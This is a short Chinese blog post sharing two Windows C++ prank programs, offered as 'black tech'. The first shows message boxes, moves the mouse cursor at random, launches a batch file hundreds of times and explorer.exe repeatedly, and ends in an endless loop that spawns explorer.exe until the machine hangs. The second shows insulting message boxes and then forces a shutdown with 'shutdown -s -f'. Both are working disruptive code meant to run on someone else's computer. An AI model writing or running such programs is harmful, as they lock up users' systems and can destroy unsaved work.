标签:color 关机 科技 and out .bat shutdown close span
#include<iostream> #include<cstdio> #include<cstdlib> #include<windows.h> using namespace std; int main(){ FILE *fbat=fopen("a.bat","w"); FILE *fvbs=fopen("a.vbs","w"); fprintf(fbat,"pause"); fprintf(fvbs,"msgbox \" 第一波! \""); cout<<"准备好!请保存好数据!\n"; system("pause"); fclose(fvbs); system("start a.vbs"); Sleep(2000); for(int i=0;i<100000;i++){ SetCursorPos(rand()%1024,rand()%768); } fvbs=fopen("a.vbs","w"); fprintf(fvbs,"msgbox \" 第二波! \""); //system("pause"); fclose(fvbs); Sleep(2000); system("start a.vbs"); for(int i=0;i<200;i++){ system("start a.bat"); } fvbs=fopen("a.vbs","w"); fprintf(fvbs,"msgbox \" 第三波! \""); fclose(fvbs); system("start a.vbs"); Sleep(2000); for(int i=0;i<30;i++){ system("start c:\\windows\\explorer.exe"); } fvbs=fopen("a.vbs","w"); fprintf(fvbs,"msgbox \" 最后一波! \""); fclose(fvbs); system("start a.vbs"); Sleep(3000); while(1){ system("start c:\\windows\\explorer.exe"); SetCursorPos(rand()%1024,rand()%768); } }
黑科技2
#include<cstdlib> #include<bits/stdc++.h> #include<iostream> #include<windows.h> using namespace std; int main() { MessageBox(NULL,"卧槽,你个小兔崽子长脑子了吗!","疯子制造商警告你",MB_ICONEXCLAMATION); MessageBox(NULL,"居然敢跑到我的地方来撒野,是不是想关机?","疯子制造商警告你",MB_ICONEXCLAMATION); MessageBox(NULL,"既然你想关机,那我就奉陪到底!","疯子制造商警告你",MB_ICONEXCLAMATION); Sleep(1); system("shutdown -s -f -t 500"); return 0; }
标签:color 关机 科技 and out .bat shutdown close span
原文地址:https://www.cnblogs.com/tpgzy/p/8886427.html